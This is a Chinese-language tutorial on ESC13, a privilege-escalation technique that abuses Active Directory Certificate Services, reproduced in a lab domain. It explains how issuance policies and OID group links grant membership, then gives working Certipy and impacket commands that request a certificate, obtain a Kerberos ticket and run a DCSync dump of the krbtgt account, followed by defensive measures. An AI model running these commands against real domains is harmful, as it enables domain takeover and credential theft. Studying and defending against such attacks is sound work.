滥用ADCS进行权限提升——ESC13详解
0x1 背景介绍
Active Directory证书服务(ADCS)是Windows Server中提供公钥基础设施(PKI)功能的组件。自Will Schroeder(@harmj0y)和Lee Christensen(@tifkin_)在2021年BlackHat大会上发布白皮书《Certified Pre-Owned - Abusing Active Directory Certificate Services》以来,ADCS的攻击面首次被系统化地研究。
在白皮书中提出了ESC1-ESC8共8种攻击手法,后续又补充了ESC9-ESC12。本文详细分析了一种新的攻击手法——ESC13,这是一种利用证书颁发策略和OID组链接实现的权限提升漏洞。
0x2 技术原理分析
核心概念
ESC13是一种域内权限提升漏洞,其提升的权限取决于错误配置指向的组的权限。该漏洞需要三个关键要素:
- 证书颁发策略:控制证书颁发的一组规则和条件
- 指向AD组的OID组链接:将颁发策略与AD组关联的特殊属性
- 使用证书认证:必须使用证书进行身份验证
证书颁发策略
证书颁发策略存储在LDAP中的路径:
CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local
可以通过PowerShell查看:
Get-ADObject -Filter * -SearchBase "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=esg-red,DC=local" -Properties DisplayName,msPKI-Cert-Template-OID
证书模板的颁发策略存储在msPKI-Certificate-Policy属性中。
OID组链接
关键属性msDS-OIDToGroupLink将OID表示的颁发策略与组对象关联。当用户使用带有相关颁发策略的证书进行身份验证时,系统会认为该用户属于关联的AD组(即使用户实际不在该组中)。
OID组链接的要求:
- 必须是AD的通用组(Universal Group)
- 组内不能有任何成员
证书认证
必须使用证书进行身份验证,因此证书模板必须支持证书认证。通过分析Kerberos票据的PAC部分可以验证权限提升是否成功。
0x3 漏洞复现步骤
环境准备
- 域控:Windows Server 2019 Datacenter
- ADCS服务器:Windows Server 2019 Datacenter
- 域名:esg-red.local
- CA名:esg-red-ADCS-CA
配置漏洞
-
创建测试用户和组
- 创建普通用户ESC13User,确保没有加入任何特权组
- 创建通用组ESC13Group,组内不添加任何用户
- 为ESC13Group组授予DCSync权限
-
配置证书模板
- 复制现有的"工作组身份验证"模板
- 修改模板名称
- 在"扩展"选项卡中添加新的颁发策略
- 确保授予用户申请证书的权限
- 将"使用者名称"从DNS名改为用户主体名称(UPN)
-
设置OID组链接
- 使用adsiedit.msc打开ADSI编辑器
- 导航到
CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=esg-red,DC=local - 找到创建的颁发策略,修改
msDS-OIDToGroupLink属性为ESC13Group
漏洞利用
-
信息收集
使用Certipy的find功能扫描ADCS,确认ESC13漏洞存在 -
申请证书
python entry.py req -u 'ESC13User@esg-red.local' -p 'Admin13' -template 'ESC13' -target adcs.esg-red.local -ca esg-red-ADCS-CA -
获取Kerberos票据
python entry.py auth -pfx esc13user.pfx -dc-ip 10.10.10.128 -kirbi impacket-ticketConverter esc13user.kirbi esc13user.ccache -
验证权限
python aaa.py esc13user.ccache --aes <AES_KEY>检查PAC中是否包含ESC13Group的SID
-
执行DCSync攻击
export KRB5CCNAME=esc13user.ccache impacket-secretsdump esg-red.local/ESC13User@DC.esg-red.local -k -no-pass -just-dc-user 'krbtgt' -debug
0x4 总结与防御建议
漏洞特点
-
利用限制较多:
- 需要特定的错误配置
- 提升的权限取决于关联组的权限
- 必须使用证书认证
-
可配合其他漏洞使用:
- 如ESC5(修改PKI的ACL)
防御措施
-
审计与监控:
- 定期检查证书模板配置
- 监控
msDS-OIDToGroupLink属性的修改
-
配置加固:
- 限制证书模板的申请权限
- 避免将高权限组与颁发策略关联
- 删除不必要的通用组
-
最小权限原则:
- 严格限制通用组的权限
- 避免授予不必要的DCSync权限
-
日志分析:
- 监控异常的证书申请行为
- 分析异常的Kerberos票据请求
ESC13虽然利用条件较为苛刻,但一旦成功利用可能导致严重的权限提升。管理员应充分了解ADCS的安全配置,定期审计PKI环境,以防范此类攻击。